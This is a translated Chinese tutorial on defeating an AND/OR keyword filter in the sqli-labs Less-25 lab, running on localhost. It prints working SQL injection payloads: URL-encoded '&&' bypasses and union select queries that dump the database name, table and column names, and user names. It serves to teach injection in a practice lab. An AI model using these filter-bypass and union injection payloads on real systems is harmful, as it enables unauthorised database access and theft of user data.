在前面的文章中(传送门),你应该已经学会了一些关于SQL注入的基本概念,但是在有些情况下,你会发现这些知识竟然不管用了,这是为什么呢?原因就在于开发者采取了一些防止SQL注入的措施。有时,开发者会使用过滤器对用户输入做一些处理,具体来说就是在用户输入被添加到SQL查询语句中之前,将其中的一些字母和操作符剔除,以此来防止SQL注入攻击。本篇文章会帮助你应对此类情况,并教你如何绕过这种过滤器。我们使用的仍然是Dhakkan平台。
LESSON 25
本节中,函数OR和AND被过滤掉了,为此,我们要使用它们的替代品来绕过该过滤器。
function blacklist($id)
$id=preg_replace('/OR/i',"",$id); //strip out OR (non case sensitive)
$id=preg_replace('/AND/i',"",$id); //strip out AND (non case sensitive)
替代品:
AND: && %26%26
OR: ||
由于OR,AND被列入黑名单,因此当使用AND 1=1或OR 1=1时就得不到想要的结果了,所以这里换用了 %26%26 。
打开浏览器,输入http://localhost:81/sqli/Less-25/?id=1' %26%26 1=1 --+。(注:具体以个人配置为准)
由上图可以看出,我们使用URL编码 %26%26 成功地解决了AND(&&)被过滤掉的问题。
如果你已经明白了上面的绕过AND过滤器的方法,那么请接着往下看,接下来我们会对该SQL查询语句做一点小小的改动以获取数据库信息。
http://localhost:81/sqli/Less-25/?id=-1' union select 1,2,3 %26%26 1=1 --+
由上图可以看出,显示的是第一列和第二列。
先使用联合注入获取数据库名:
http://localhost:81/sqli/Less-25/?id=-1' union select 1,database(),3 %26%26 1=1 --+
由上图可以看出,数据库名为'security'。
下一条查询来看看数据库中有哪些表:
http://localhost:81/sqli/Less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() %26%26 1=1 --+
由上图可以看出,当前的表名有:
T1: emails
T2: referers
T3: uagents
T4: users
接着来试找出表users的列名有哪些,使用以下查询:
http://localhost:81/sqli/Less-25/?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='users' %26%26 1=1 --+
由上图可以看出,该表包含了三列,分别是:
C1: id
C2: username
C3: password
在本节的最后,我们使用以下查询看看表users中的username都有哪些:
http://localhost:81/sqli/Less-25/?id=-1' union select 1,group_concat(username),3 from users --+
由上图可以看出,username有Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4。
小结:在第二十五节,我们学习了如何绕过AND和OR过滤器来获取数据库中的信息。
相关文章:
如何手动绕过SQL注入过滤器?(二)
如何手动绕过SQL注入过滤器?(三)
SQL注入新手教程(第一部分)
SQL注入新手教程(第二部分)
一步步手动进行SQL注入
基于表单的SQL注入(手动)
使用OUTFILE导出数据库数据
原文链接:http://www.hackingarticles.in/bypass-filter-sql-injection-manually/
本文由 看雪翻译小组 hesir 编译
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开
发者可享99元/年,续费同价!